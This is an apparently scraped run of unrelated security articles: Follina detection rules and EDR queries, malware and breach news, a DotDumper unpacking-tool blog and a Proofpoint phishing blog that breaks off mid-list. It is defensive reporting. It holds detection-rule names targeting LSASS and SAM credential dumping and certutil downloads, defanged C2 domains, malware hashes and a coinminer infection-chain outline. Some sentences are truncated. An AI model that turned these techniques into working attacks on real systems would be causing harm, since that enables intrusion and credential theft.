Follina zero-day threat intelligence and hunting rules
MVISION Insights is continually updated with the latest threat intelligence and known indicators that are being discovered related to the Microsoft zero-day vulnerability.
Additionally, applying hunting rules and threat intelligence across the security stack is key for early detection and identification of the Tactics, Techniques, and Procedures (TTPs) associated with Follina.
MVISION Insights Campaign Name - Follina — A Microsoft Office Code Execution Vulnerability
YARA, Snort, and Sigma Hunting Rules specific to Follina Vulnerability Source: MVISION Insights
Figure 3.
YARA, Snort, and Sigma Hunting Rules specific to Follina Vulnerability Source: MVISION Insights
Campaign overview and detections for Follina.
Source: MVISION Insights
Figure 4.
Campaign overview and detections for Follina.
Source: MVISION Insights
Follina Indicators of Compromise (IOCs) and endpoint detections.
Source: MVISION Insights
Figure 5.
Follina Indicators of Compromise (IOCs) and endpoint detections.
Source: MVISION Insights
MVISION Insights API to pull Campaign Threat Intelligence for further correlation across data events.
Figure 6.
MVISION Insights API to pull Campaign Threat Intelligence for further correlation across data events.
Utilizing expert and behavioral rules in trellix endpoint security
Trellix ENS Threat Prevention and Adaptive Threat Protection (ATP) monitor Microsoft Word process activity and the start of a child Command line processes is detected and blocked (if configured to) by ENS ATP.
Trellix ENS can also block common processes like cmd.exe from being spawned by Microsoft Office applications in a suspicious manner.
The following rules in Trellix ENS Exploit Prevention and Adaptive Threat Protection (ATP) are recommended to observe or block behavioral activity associated with exploitation techniques.
Exploit Prevention Signature 6113: T1055 - Fileless Threat: Reflective Self Injection
Exploit Prevention Signature 6127: Suspicious LSASS Access from PowerShell
Exploit Prevention Signature 6143: T1003 - Attempt to Dump Password Hash from SAM Database
Exploit Prevention Signature 8004: Fileless Threat: Malicious PowerShell Behavior Detected
ATP Rule 239: Identify suspicious command parameter execution
ATP Rule 263: Detect processes accessing suspicious URLs
ATP Rule 301: Blocks cmd.exe from being spawned by office applications
ATP Rule 332: Prevent certutil.exe from downloading or decoding files with suspect extensions
The Trellix Advanced Threat Research (ATR) team has also created the following ENS Expert Rule to prevent techniques associated with exploitation.
Outlined below are several screenshots on how to create this specific Expert Rule in Trellix ENS.
Per standard practice, we recommend that customers test this rule in Report Only before moving to Block mode.
Detect new code injection method in Microsoft Office CVE-2022-30190
How to Use Expert Rules in ENS to Prevent Malicious Exploits
Creation of the Expert Rule in the Trellix ENS Exploit Prevention Policy
Figure 7.
Creation of the Expert Rule in the Trellix ENS Exploit Prevention Policy
Creating specific Expert Rule for Microsoft Office (CVE-2022-30190) in Trellix ENS
Figure 8.
Creating specific Expert Rule for Microsoft Office (CVE-2022-30190) in Trellix ENS
Hunting for suspicious behavior with MVISION EDR
MVISION EDR has the capability to search across historical and real-time data on endpoints to identify specific activity associated with exploitation and the MSDT process.
Several examples and queries are noted below for using Historical and Real-time searches to analyze the Microsoft Diagnostic Tool (MSDT) process activity and interaction with CMD and PowerShell.
Processes and HostInfo hostname where Processes name equals msdt.exe – Real-time search query to locate activity specific to the Microsoft Diagnostic Tool (MSDT) process
ProcessName = msdt.exe – Historical search string to locate prior activity from MSDT.exe across your endpoints even if they are currently offline.
MVISION EDR Real-time search to locate ongoing MSDT.exe activity
Figure 9.
MVISION EDR Real-time search to locate ongoing MSDT.exe activity
Figure 10.
MVISION EDR Historical Search query across all endpoints either online or offline to locate prior MSDT.exe process activity
Figure 10.
MVISION EDR Historical Search query across all endpoints either online or offline to locate prior MSDT.exe process activity
Trellix network security platform signature release
Trellix has released a User-Defined Signature (UDS) for the Network Security Platform (NSP) to provide an immediate solution to this security advisory.
Trellix writes and tests these signatures with the objective of a quick turnaround.
Windows malware delays coinminer install by a month to evade detection
A new malware campaign disguised as Google Translate or MP3 downloader programs was found distributing cryptocurrency mining malware across 11 countries.
The fake applications are being distributed through legitimate free software sites, providing broad exposure to the malicious applications to both regular visitors of the sites and search engines.
According to a report by Check Point, the malware is created by a developer named 'Nitrokod,' which at first look appears to be clean of malware and provides the advertised functionality.
However, Check Point says the software purposely delays the installation of the malicious malware components for up to a month to evade detection.
Unfortunately, Nitrokod's offerings rank high in Google Search results, so the website acts as an excellent trap for users seeking a specific utility.
BleepingComputer has contacted Nitrokod's administrator at the listed contact address, but we have not yet received a comment from them.
Additionally, as Check Point discovered, Nitrokod's Google Translate applet was also uploaded on Softpedia, where it reached over 112,000 downloads.
Infection chain
Independently of which program is downloaded from the Nitrokod website, the user receives a password-protected RAR that evades AV detection and contains an executable named after the selected app.
Upon running the file, the software is installed on the user's system along with two registry keys, a
To avoid raising suspicions and to thwart sandbox analysis, the software activates a dropper from another encrypted RAR file fetched via Wget on the fifth day of the infection.
Next, the software clears all system logs using PowerShell commands and, after another 15 days, fetches the next encrypted RAR from “intelserviceupdate[.
]com.”
The next-stage dropper checks for the presence of antivirus software, searches for processes that might belong to virtual machines, and eventually adds a firewall rule and an exclusion to Windows Defender.
Now that the device has been prepped for the final payload, the program loads the last dropper, which fetches another RAR file containing the XMRig mining malware, its controller, and a ".sys" file that has its settings.
The malware determines if it's running on a desktop or laptop, then connects to its C2 ("nvidiacenter[.
]com") and sends a full host system report via HTTP POST requests.
Finally, the C2 responds with instructions such as whether to activate, how much CPU power to use, when to ping C2 again, or what programs to check for and exit if found.
How to stay safe
Crypto-mining malware can be a risk as it can damage hardware by causing hardware stress and overheating, and can impact the performance of your computer by using additional CPU resources.
Additionally, the malware droppers discovered by Check Point can swap the final payload with something much more dangerous at any time.
To protect yourself, avoid downloading apps that promise functionality not officially released by the original developer, such as a desktop version of the Google translate tool.
Atlassian Bitbucket Server vulnerable to critical RCE vulnerability
Atlassian has published a security advisory warning Bitbucket Server and Data Center users of a critical security flaw that attackers could leverage to execute arbitrary code on vulnerable instances.
Bitbucket is a Git-based code hosting, management, and collaboration tool, with Jira and Trello integration.
The latest flaw is tracked as CVE-2022-36804 and is a command injection in multiple API endpoints of the software product.
It has received a CVSS severity score of 9.9 out of a maximum of 10.0, making this a critical vulnerability that should be patched immediately.
"An attacker with access to a public repository or with read permissions to a private Bitbucket repository can execute arbitrary code by sending a malicious HTTP request," explains Atlassian's advisory.
The vulnerability impacts all Bitbucket Server and Data Center versions after 6.10.17, including 7.0.0 and up to 8.3.0.
The versions that address the problem are 7.6.17, 7.17.10, 7.21.4, 8.0.3, 8.1.3, 8.2.2, and 8.3.1.
Unfortunately, older and unsupported versions of the 6.x branch will not receive a fix for this flaw.
Those unable to apply the security updates are advised to apply temporary partial mitigation by turning off public repositories using “feature.public.access=false”.
This way, the instances won’t be accessible to unauthorized users; however, authorized users, like threat actors who have compromised valid credentials, may still perform attacks.
Atlassian notes that those accessing Bitbucket via bitbucket.org domains aren't impacted by the critical RCE, as the vendor hosts those instances.
PoC is on its way
The security researcher who discovered CVE-2022-36804 back in July 2022, Max Garrett, reported it to Atlassian via the firm’s bug bounty program on Bugcrowd and received $6,000 for his finding.
Yesterday, the young researcher promised on Twitter to release a proof-of-concept (PoC) exploit for the bug in 30 days, giving system admins a comfortable time margin to apply the available fixes.
The release of the PoC is bound to cause a spike in active exploitation of the critical RCE flaw by hackers, but there’s no guarantee this won’t happen sooner.
Garrett told BleepingComputer that reverse engineering Atlassian's patch shouldn't be too difficult for skillful hackers.
Remote code execution is the most potent of all vulnerability types, enabling attackers to do extensive damage while bypassing all security measures, so the motive is there.
That said, Bitbucket Server and Data Center users are advised to apply the available security update or mitigations as soon as possible.
Ragnar Locker ransomware claims attack on Portugal's flag airline
The Ragnar Locker ransomware gang has claimed an attack on the flag carrier of Portugal, TAP Air Portugal, disclosed by the airline after its systems were hit on Thursday night.
The company said the attack was blocked and added that it found no evidence indicating the attackers gained access to customer information stored on impacted servers.
"TAP was the target of a cyber-attack, now blocked.
Operational integrity is guaranteed," the airline operator revealed in a statement on Friday via its official Twitter account.
"No facts have been found that allow us to conclude that there has been improper access to customer data.
The website and app still have some instability."
On Monday, the airline also published an alert saying that its website and app are unable because of the Thursday cyberattack.
It also added that customers could book flights, manage previously made bookings, and check in and download their boarding passes without logging in.
Even though TAP is yet to confirm if this was a ransomware attack, the Ragnar Locker ransomware gang posted a new entry on their data leak website today, claiming to be behind last week's cyberattack that hit TAP's network.
The ransomware group says it has "reasons" to believe that hundreds of Gigabytes of data might have been compromised in the incident and threatened to provide "irrefutable evidence" to disprove TAP's statement that its customers' data wasn't accessed in the incident.
"Several days ago Tap Air Portugal made a press-release where they claimed with confidence that they successfully repelled the cyber attack and no data was compromised (but we do have some reasons to believe that hundreds of Gigabytes might be compromised)," the gang says.
Ragnar Locker also shared a screenshot of a spreadsheet containing what looks like customer information stolen from TAP's servers, including names, dates of birth, emails, and addresses.
Ragnar Locker ransomware payloads were first observed in attacks against several targets in late December 2019.
Attackers using Ragnar Locker ransomware have also encrypted the systems of Portuguese multinational energy giant Energias de Portugal (EDP) and asked for a 1580 BTC ransom (the equivalent of more than $10 million at the time).
A list of Ragnar Locker's past victims also includes Japanese game maker Capcom, computer chip manufacturer ADATA, and aviation giant Dassault Falcon.
In March, the FBI said that Ragnar Locker ransomware had been deployed on the networks of at least 52 organizations from multiple US critical infrastructure sectors since April 2020.
TAP (short for Transportes Aéreos Portugueses) is the largest airline in Portugal, accounting for more than 50% of arrivals and departures at the Lisbon International Airport in 2019.
TAP Air Portugal didn't reply to a request for comment when BleepingComputer reached out earlier today.
Microsoft Azure outage knocks Ubuntu VMs offline after buggy update
Microsoft Azure customers' virtual machines (VMs) running Ubuntu 18.04 have been taken offline by an ongoing outage caused by a faulty systemd update.
The outage started nine hours earlier, around 06:00 UTC, after the affected customers upgraded to systemd version 237-3ubuntu10.54 and their VMs started experiencing DNS errors, with no DNS resolver addresses available on impacted systems.
Microsoft says in an incident report published on the Azure status page that these DNS issues only affect VMs running Ubuntu 18.04 (Bionic Beaver).
"Starting at approximately 06:00 UTC on 30 Aug 2022, a number of customers running Ubuntu 18.04 (bionic) VMs recently upgraded to systemd version 237-3ubuntu10.54 reported experiencing DNS errors when trying to access their resources.
Reports of this issue are confined to this single Ubuntu version," the company revealed.
According to the Azure status page, services currently impacted worldwide by this outage include Azure Kubernetes Service (AKS), Azure Monitor, Azure Sentinel, Azure Container Apps, and more.
Microsoft has confirmed downstream impact to other Azure services, with Azure Kubernetes Service (AKS) being the most affected across multiple regions.
A potential fix for this systemd bug requiring a switch to a fallback DNS server and a restart is available on Canonical's Launchpad software collaboration platform.
Microsoft provides an additional workaround for affected Azure customers that involves rebooting the impacted Ubuntu virtual machines.
"An additional potential workaround customers can consider is to reboot impacted VM instances so that they receive a fresh DHCP lease and new DNS resolver(s)," the company said.
Redmond also implies that those who haven't yet been affected should consider disabling security updates until the bug has been mitigated.
"If you are not experiencing impact on your Ubuntu 18.04 images, but you have unattended security updates enabled, we recommend you review this setting until the Ubuntu issue is mitigated," Microsoft added.
The company's Azure customers were hit by another global scale outage (tracking ID 0NC_-L9G on the status page) that took down Windows-based Azure VMs for roughly eight hours on October 13, 2021, due to resource migration issues.
Neopets says hackers had access to its systems for 18 months
Neopets has released details about the recently disclosed data breach incident that exposed personal information of more than 69 million members.
Findings of the investigation launched on July 20, 2022 revealed that attackers had access to the Neopets IT systems from January 3, 2021 until July 19, 2022.
The company learned about the breach only after a hacker offered to sell a Neopets database for four bitcoins.
The hacker claimed the database contained 460MB of source code and sensitive personal information for 69 million members.
An update from the company on Monday confirmed the hacker's claims, saying:
"We have determined that for past and present Neopets players, affected information may include the data provided when registering for or playing Neopets, including name, email address, username, date of birth, gender, IP address, Neopets PIN, hashed password, as well as data about a player's pet, game play, and other information provided to Neopets."
"For players that played prior to 2015, the information also could have included non-hashed, but inactive, passwords," the company added.
Responding to the situation
Neopets has taken a series of measures to improve their systems' security and to minimize the impact future incidents would have on the players.
The company says that it enhanced network monitoring to catch threats earlier and strengthened the authentication schemes for better account access protection.
Passwords have now been reset and Neopets is now working on implementing multi-factor authentication as an added defense layer.
Finally, the announcement recommends that all Neopets players change their passwords if they're recycling them for other online platforms or services.
Neopets players should remain vigilant for emails that urge them to take immediate action or ask them to provide sensitive information, such as that related to banking accounts.
Twitter is down showing ‘Something went wrong’ errors
If you're experiencing issues on Twitter, you are not the only one, as the social network is currently going through an outage that makes it impossible for users to read tweets and tweet replies on the web.
Users report seeing "Something went wrong.
Try reloading."
and "Uh oh, there was an error" messages.
Mobile users also see the same errors displayed when clicking tweets.
When trying to click tweets on the Twitter web app, the only things that show up are the errors and a Retry button underneath, with no sidebar menu.
Some users also have issues loading the Twitter website altogether, while others say that their not even able to connect to Twitter's servers, according to Downdetector.
The issue behind the outage remains unclear for now, and the Twitter API status page shows no problems today.
Despite this, thousands of users have reported experiencing these issues while trying to use Twitter's website or mobile app.
Until now, the Twitter Support account has remained silent on the current outage, and the company is yet to update the API Status page, which shows that all systems are operational.
Twitter went through a similar outage last month, with the company pinning the issues on "some trouble with our internal systems," which affected users across the globe.
Earlier today, Twitter announced the introduction of a new Edit Tweet button in the coming weeks, available as part of a test for Twitter Blue subscribers.
This is a developing story ...
New Worok cyber-espionage group targets governments, high-profile firms
A newly discovered cyber-espionage group has been hacking governments and high-profile companies in Asia since at least 2020 using a combination of custom and existing malicious tools.
The threat group, tracked as Worok by ESET security researchers who first spotted it, has also attacked targets from Africa and the Middle East.
To date, Worok has been linked to attacks against telecommunications, banking, maritime, and energy companies, as well as military, government, and public sector entities.
In late 2020, Worok targeted a telecommunications company in East Asia, a bank in Central Asia, a maritime industry company in Southeast Asia, a government entity in the Middle East, and a private company in southern Africa.
While there have been no sightings until February 2022, ESET once again linked the group with new attacks against an energy company in Central Asia and a public sector entity in Southeast Asia.
"We believe the malware operators are after information from their victims because they focus on high-profile entities in Asia and Africa, targeting various sectors, both private and public, but with a specific emphasis on government entities," ESET malware researcher Thibaut Passilly said.
Even though the group used ProxyShell exploits to gain initial access to its victims' networks, the initial access vector remains unknown for most of its breaches.
"In such cases, typically webshells have been uploaded after exploiting these vulnerabilities, in order to provide persistence in the victim's network.
Then the operators used various implants to gain further capabilities," Passilly added.
Worok's malicious toolset includes two loaders, a C++ loader known as CLRLoad and a C# loader dubbed PNGLoad helps the attackers hide malware payloads in PNG image files using steganography.
While ESET is yet to retrieve one of the final payloads delivered in the group's attacks, it did spot a new PowerShell backdoor dubbed PowHeartBeat, which replaced CLRLoad in incidents observed since February 2022 as the tool designed to launch PNGLoad on compromised systems.
PowHeartBeat comes with a wide range of capabilities, including file manipulation and command or process execution, as well as uploading or downloading files to and from victims' devices.
"Activity times and toolset indicate possible ties with TA428, but we make this assessment with low confidence," Passilly concluded.
"While our visibility is limited, we hope that shedding light on this group will encourage other researchers to share information about this group."
DotDumper: Automatically Unpacking DotNet Based Malware
By Max Kersten · August 11, 2022
The automatic detection and classification of any given file in a reliable manner is often considered the holy grail of malware analysis.
The trials and tribulations to get there are plenty, which is why the creation of such a system is held in high regard.
When it comes to DotNet targeting binaries, our new open-source tool DotDumper aims to assist in several of the crucial steps along the way: logging (in-memory) activity, dumping interesting memory segments, and extracting characteristics from the given sample.
This blog will dive into DotDumper’s usage and internals.
The tool, along with its source code is available here.
Why DotDumper?
In brief, manual unpacking is a tedious process which consumes a disproportional amount of time for analysts.
Obfuscated binaries further increase the time an analyst must spend to unpack a given file.
When scaling this, organizations need numerous analysts who dissect malware daily, likely in combination with a scalable sandbox.
The lost valuable time could be used to dig into interesting campaigns or samples to uncover new threats, rather than the mundane generic malware that is widely spread.
Afterall, analysts look for the few needles in the haystack.
So, what difference does DotDumper make?
Running a DotNet based malware sample via DotDumper provides log files of crucial, contextualizing, and common function calls in three formats (human readable plaintext, JSON, and XML), as well as copies from useful in-memory segments.
As such, an analyst can skim through the function call log.
Additionally, the dumped files can be scanned to classify them, providing additional insight into the malware sample and the data it contains.
This cuts down on time vital to the triage and incident response processes, and frees up SOC analyst and researcher time for more sophisticated analysis needs.
Features
To log and dump the contextualizing function calls and their results, DotDumper uses a mixture of reflection and managed hooks, all written in pure C#.
Below, key features will be highlighted and elaborated upon, in combination with excerpts of DotDumper’s results of a packed AgentTesla stealer sample, the hashes of which are below.
SHA-256 	b7512e6b8e9517024afdecc9e97121319e7dad2539eb21a79428257401e5558d
SHA-1 	c10e48ee1f802f730f41f3d11ae9d7bcc649080c
MD-5 	23541daadb154f1f59119952e7232d6b
Using the command-line interface
DotDumper is accessible through a command-line interface, with a variety of arguments.
The image below shows the help menu.
Note that not all arguments will be discussed, but rather the most used ones.
The minimal requirement to run a given sample, is to provide the “-file” argument, along with a file name or file path.
If a full path is given, it is used.
If a file name is given, the current working directory is checked, as well as the folder of DotDumper’s executable location.
Unless a directory name is provided, the “-log” folder name is set equal to the file name of the sample without the extension (if any).
The folder is located in the same folder as DotDumper resides in, which is where the logs and dumped files will be saved in.
In the case of a library, or an alternative entry point into a binary, one must override the entry point using “-overrideEntry true”.
Additionally, one has to provide the fully qualified class, which includes the name space using “-fqcn My.NameSpace.
MyClass”.
This tells DotDumper which class to select, which is where the provided function name (using “-functionName MyFunction”) is retrieved.
If the selected function requires arguments, one has to provide the number of arguments using “-argc” and the number of required arguments.
The argument types and values are to be provided as “string|myValue int|9”.
Note that when spaces are used in the values, the argument on the command-line interface needs to be encapsulated between quotes to ensure it is passed as a single argument.
Other less frequently used options such as “-raceTime” or “-deprecated” are safe in their default settings but might require tweaking in the future due to changes in the DotNet Framework.
They are currently exposed in the command-line interface to easily allow changes, if need be, even if one is using an older version of DotDumper when the time comes.
Logging and dumping
Logging and dumping are the two core features of DotDumper.
To minimize the amount of time the analysis takes, the logging should provide context to the analyst.
This is done by providing the analyst with the following information for each logged function call:
A stack trace based on the function’s caller
Information regarding the assembly object where the call originated from, such as the name, version, and cryptographic hashes
The parent assembly, from which the call originates if it is not the original sample
The type, name, and value of the function’s arguments
The type, name, and value of function’s return value, if any
A list of files which are dumped to disk which correspond with the given function call
Note that for each dumped file, the file name is equal to the file’s SHA-256 hash.
To clarify the above, an excerpt of a log is given below.
The excerpt shows the details for the aforementioned AgentTesla sample, where it loads the second stage using DotNet’s Assembly.
Load function.
First, the local system time is given, together with the original function’s return type, name, and argument(s).
Second, the stack trace is given, where it shows that the sample’s main function leads to a constructor, initialises the components, and calls two custom functions.
The Assembly.
Load function was called from within “NavigationLib.
TaskEightBestOil.GGGGGGGGGGGGGGGGGGGG(String str)”.
This provides context for the analyst to find the code around this call if it is of interest.
Then, information regarding the assembly call order is given.
The more stages are loaded, the more complex it becomes to see via which stages the call came to be.
One normally expects one stage to load the next, but in some cases later stages utilize previous stages in a non-linear order.
Additionally, information regarding the originating assembly is given to further enrich the data for the analyst.
Next, the parent hash is given.
The parent of a stage is the previous stage, which in this example is not yet present.
The newly loaded stage will have this stage as its parent.
This allows the analyst to correlate events more easily.
Finally, the function’s return type and value are stored, along with the type, name, and value of each argument that is passed to the hooked function.
If any variable is larger than 100 bytes in size, it is stored on the disk instead.
A reference is then inserted in the log to reference the file, rather than showing the value.
The threshold has been set to avoid hiccups in the printing of the log, as some arrays are thousands of indices in size.
Reflection
Per Microsoft’s documentation, reflection is best summarized as “[…] provides objects that encapsulate assemblies, modules, and types”.
In short, this allows the dynamic creation and invocation of DotNet classes and functions from the malware sample.
DotDumper contains a reflective loader which allows an analyst to load and analyze both executables and libraries, as long as they are DotNet Framework based.
To utilize the loader, one has to opt to overwrite the entry point in the command-line interface, specify the class (including the namespace it resides in) and function name within a given file.
Optionally, one can provide arguments to the specified function, for all native types and arrays thereof.
Examples of native types are int, string, char, and arrays such as int[], string[], and char[].
All the arguments are to be provided via the command-line interface, where both the type and the value are to be specified.
Not overriding the entry point results in the default entry point being used.
By default, an empty string array is passed towards the sample’s main function, as if the sample is executed without arguments.
Additionally, reflection is often used by loaders to invoke a given function in a given class in the next stage.
Sometimes, arguments are passed along as well, which are used later to decrypt a resource.
In the aforementioned AgentTesla sample, this exact scenario plays out.
DotDumper’s invoke related hooks log these occurrences, as can be seen below.
The function name in the first line is not an internal function of the DotNet Framework, but rather a call to a specific function in the second stage.
The types and names of the three arguments are listed in the function signature.
Their values can be found in the function argument information section.
This would allow an analyst to load the second stage in a custom loader with the given values for the arguments, or even do this using DotDumper by loading the previously dumped stage and providing the arguments.
Managed hooks
Before going into managed hooks, one needs to understand how hooks work.
There are two main variables to consider here: the target function and a controlled function which is referred to as the hook.
Simply put, the memory at the target function (i.e.
Assembly.
Load) is altered to instead to jump to the hook.
As such, the program’s execution flow is diverted.
The hook can then perform arbitrary actions, optionally call the original function, after which it returns the execution to the caller together with a return value if need be.
The diagram below illustrates this process.
Knowing what hooks are is essential to understand what managed hooks are.
Managed code is executed in a virtual and managed environment, such as the DotNet runtime or Java’s virtual machine.
Obtaining the memory address where the managed function resides differs from an unmanaged language such as C.
Once the correct memory addresses for both functions have been obtained, the hook can be set by directly accessing memory using unsafe C#, along with DotNet’s interoperability service to call native Windows API functionality.
Easily extendible
Since DotDumper is written in pure C# without any external dependencies, one can easily extend the framework using Visual Studio.
The code is documented in this blog, on GitHub, and in classes, in functions, and in-line in the source code.
This, in combination with the clear naming scheme, allows anyone to modify the tool as they see fit, minimizing the time and effort that one needs to spend to understand the tool.
Instead, it allows developers and analysts alike to focus their efforts on the tool’s improvement.
Differences with known tooling
With the goal and features of DotDumper clear, it might seem as if there’s overlap with known publicly available tools such as ILSpy, dnSpyEx, de4dot, or pe-sieve.
Note that there is no intention to proclaim one tool is better than another, but rather how the tools differ.
DotDumper’s goal is to log and dump crucial, contextualizing, and common function calls from DotNet targeting samples.
ILSpy is a DotNet disassembler and decompiler, but does not allow the execution of the file.
dnSpyEx (and its predecessor dnSpy) utilise ILSpy as the disassembler and decompiler component, while adding a debugger.
This allows one to manually inspect and manipulate memory.
de4dot is solely used to deobfuscate DotNet binaries, improving the code’s readability for human eyes.
The last tool in this comparison, pe-sieve, is meant to detect and dump malware from running processes, disregarding the used programming language.
The table below provides a graphical overview of the above-mentioned tools.
Future work
DotDumper is under constant review and development, all of which is focused on two main areas of interest: bug fixing and the addition of new features.
During the development, the code was tested, but due to injection of hooks into the DotNet Framework’s functions which can be subject to change, it’s very well possible that there are bugs in the code.
Anyone who encounters a bug is urged to open an issue on the GitHub repository, which will then be looked at.
The suggestion of new features is also possible via the GitHub repository.
For those without a GitHub account, or for those who rather not publicly interact, feel free to send me a private message on my Twitter.
Needless to say, if you've used DotDumper during an analysis, or used it in a creative way, feel free to reach out in public or in private!
There’s nothing like hearing about the usage of a home-made tool!
There is more in store for DotDumper, and an update will be sent out to the community once it is available!
Interpol dismantles sextortion ring, warns of increased attacks
A transnational sextortion ring was uncovered and dismantled following a joint investigation between Interpol's cybercrime division and police in Singapore and Hong Kong.
Interpol says that 12 suspects believed to be core members of this criminal organization were arrested in July and August after investigators found that they asked potential victims via online sex and dating platforms to download a malicious mobile app to engage in "naked chats."
However, their targets didn't know this app was designed to steal the contents of their phones' contact lists which the cybercriminals would use to blackmail the victims, threatening to share their nude videos with relatives and friends in their address books.
"We conducted a proactive investigation and in-depth analysis of a zombie command and control server hosting the malicious application, which – along with the joint efforts by our counterparts – allowed us to identify and locate individuals linked to the criminal syndicate," said Raymond Lam Cheuk Ho, the head of Hong Kong Police's Cyber Security and Technology Crime Bureau.
Sextortion is a type of digital extortion where the criminals coerce or trick their targets into sharing explicit videos or images that will later be used for blackmail.
To make things even scarier for their targets, they'll also often gain access to their social media or contact info, threatening to send the sexual imagery they got their hands on to the victims' families and friends.
Scammers behind sextortion campaigns are also known to distribute various strains of malware via phishing emails, ranging from data-stealing trojans to ransomware.
Spike in sextortion attacks
Today's announcement comes after Interpol launched an awareness campaign in June to warn Internet users of a striking increase in digital extortion threats like sextortion, ransomware, and Distributed Denial-of-Service (DDoS) attacks.
"A sharp rise in sextortion reports has been observed around the world in recent years, mirroring a rise in other types of cybercrime that has been exacerbated by the COVID-19 pandemic," Interpol said.
"INTERPOL's awareness campaigns on cyber threats have emphasized that just one click – on an unverified link or to send an intimate photo or video to someone – can suffice to fall victim to cybercrime."
The FBI warned one year ago of a massive increase in sextortion complaints since the start of 2021, which resulted in total financial losses of more than $8 million until the end of July 2021.
As the FBI advised potential victims at the time to protect themselves from extortion attempts:
NEVER send compromising images of yourself to anyone, no matter who they are or who they say they are.
Do not open attachments from people you do not know.
Links can secretly hack your electronic devices using malware to access your private data, photos, and contacts or control your web camera and microphone without your knowledge.
Turn off your electronic devices and web cameras when not in use.
"Having a criminal access the most intimate aspects of your life and using this information against you to extort enormous sums of cash is anyone's nightmare – and the most frightening part is that anyone could fall victim to this type of crime," added today Stephen Kavanagh, INTERPOL's Executive Director of Police Services.
"Sextortionists sometimes count on their victims feeling too much shame to go to the police, but reporting these crimes is often the first step to bringing these criminals to justice."
Microsoft Misses and Hosts Weaponized File-Sharing Attacks
June 27, 2022 Proofpoint
Microsoft – The Threat Actor’s Playground.
A Blog Series.
This post is an ongoing series of blogs on different types of people-centric email attacks slipping past Microsoft’s detection.
These attacks cost organizations millions of dollars every year in losses and cause frustration for information security teams and users alike due to outdated detection technologies and the inherent limitations of Microsoft email security.
In this series, you can expect to learn more about Microsoft missing several different types of attacks, which we’ll explore in-depth and provide recent examples of:
Microsoft Missed Business Email Compromise (BEC) Attacks
Microsoft Misses Ransomware Attacks
Microsoft Misses Supplier Attacks
Microsoft Misses Account Compromise Attacks
Subscribe to our blog at the bottom of this post to stay updated on these misses that may be impacting your organization.
Also, use our rapid risk assessment to better understand your organization’s risks.
Weaponized file sharing missed by Microsoft
Weaponized file-sharing attacks are one of the most common tactics in URL attacks.
Our own internal threat data, where we see 49 billion URLs a day, shows file-sharing URLs are used in over half of URL-based attacks.
Because users inherently trust and use these services, like Microsoft OneDrive and Microsoft SharePoint, they’ve become quite common targets for attackers.
Microsoft is in the unique position of not only hosting malicious files, but also allowing them to pass through their email security solution.
In 2021 we found that over 45 million threats were sent to Proofpoint customers with malicious content hosted by Microsoft, as shown below.
45,579,061+ Malicious Messages Targeted at Proofpoint Customers – Pie Chart
Figure 1.
Microsoft hosts most of the malicious URLs sent to our customers; since January 2021, Microsoft 365 has sent or hosted over 45 million threats targeting Proofpoint customers.
These attacks that compromise accounts can cost organizations significant amounts of money.
For example, according to “The 2021 Ponemon Cost of Phishing Study,” phishing threats cost a large, 10,000-seat organization millions annually in prevention, remediation and user downtime costs.
With the knowledge that over half of URL threats originate from malicious content on file-sharing sites, this is an expensive problem to fix.
Ponemon’s 2021 Cost of Phishing research
Figure 2.
Overview of phishing-related costs for a 10,000-seat organization.
(Source: Ponemon Institute’s “2021 Cost of Phishing Study.”)
In a month’s time frame and a limited data set of rapid risk assessments, Proofpoint detected more than 13,000 URL threats from file sharing, and other legitimate websites that slipped past Microsoft’s email security perimeter defenses.
But it’s not just threats that their email security solution misses—it’s also threat actors abusing their services and infrastructure to launch attacks, many of which can remain available for days and weeks after being reported.
In this way, Microsoft acts as both the fire department and the arsonist in many instances.
Allow Proofpoint to be the smoke detector and protect against these fires coming your way.
Proofpoint detected over 3.8 million message threats sent using Microsoft mail servers and about 370,000 threats hosted by services like Office 365 OneDrive, SharePoint and Azure in just one month’s time span.
Outlined below are samples of file-sharing attack types both missed and hosted by Microsoft during recent Proofpoint rapid risk assessments.
Credential theft hosted and missed by Microsoft:
In research for our “Human Factor Report,” Proofpoint found that attackers increased their use of CAPTCHA by 50x year-over-year.
In the attack, both hosted by Microsoft and missed in a Proof of Concept (POC), an attacker used OneDrive and CAPTCHA to attempt to trick users of a shared mailbox to provide their credentials and access a request document.
Here’s one example of an attack missed by Microsoft:
Environment: Microsoft 365
Threat Category: File-Sharing URL-Based
Attack Type: Credential Theft
Target: Shared Mailbox Work Request
OneNote Page with a Fake Word Doc
Figure 3.
Users are taken to a OneNote page, with a link to a fake Word document.
When they click on the link, they’re presented with a CAPTCHA; after checking the box, they’re taken to a fake Microsoft page in an attempt at credential theft.
The anatomy of the attack:
The attacker masqueraded as a third-party vendor with a work request sending to a telecom organization’s shared mailbox, attempting to steal credentials.
In our risk assessment with this customer, we protected them from the attack after the threat slipped through Microsoft’s email security.
This credential theft attack not only bypassed native Microsoft email security controls, but more than a month after we condemned the attack, the OneDrive page is still live and actively hosting a malicious credential theft attack impersonating Microsoft’s brand.
This is one of millions of abused file-sharing pages that Microsoft hosts malicious content on every month.
Branded credential theft on legitimate file-sharing site missed by Microsoft:
Office 365 credential theft is a common lure that attackers use to attempt to compromise users’ accounts.
These attacks are extremely dangerous, as the attacker assumes the corporate identity of their victim, which can cause untold damage and theft of data or financials.
Credential Theft Attack Missed by Microsoft Imitating the Brand
Figure 4.
Microsoft Misses credential theft imitating their brand, hosted on a legitimate file-sharing site.
Here’s one example of an attack missed by Microsoft:
Environment: Microsoft 365
Threat Category: File-Sharing URL-Based
Attack Type: Credential Phishing
The anatomy of the attack:
These themes of attacks (email/IT issues) are quite common, and the attacker abused a legitimate website, SendGrid, to host this credential theft attack.
The attacker sent it from a spoofed Microsoft domain (onmicrosoft.com), making it appear legitimate—and even used a greeting that included Microsoft Corporation as the signee on behalf of the organization.
In this attack, Microsoft’s reputation analysis fails to detect abuse of legitimate cloud services.
This is because Microsoft’s Safe Links lacks a predictive sandboxing on-click and relies on reputation, which is incapable of detecting never-before-seen threats originating on file-sharing services.
Despite the obvious brand impersonation and keywords, Microsoft failed to detect this fake email quarantine lure.
Proofpoint’s click-time URL sandboxing used machine learning (ML) classifiers to identify the malicious credential theft and blocked this attack from being activated during our email rapid risk assessment.
Credential theft hosted and missed by Microsoft:
Why is default security not enough?
Attackers are getting very crafty, as demonstrated by this next attack.
The bad actor in this case abused not one, but two file-sharing sites, nesting a Microsoft phishing attack under the guise of a legitimate but compromise account.
This attack was condemned and blocked by Proofpoint, and was missed not only by Microsoft, but also by an API email security solution specifically marketed at detecting these types of threats
Here are the details about this missed attack:
Environment: Microsoft 365
Threat Category: File-Sharing URL-Based
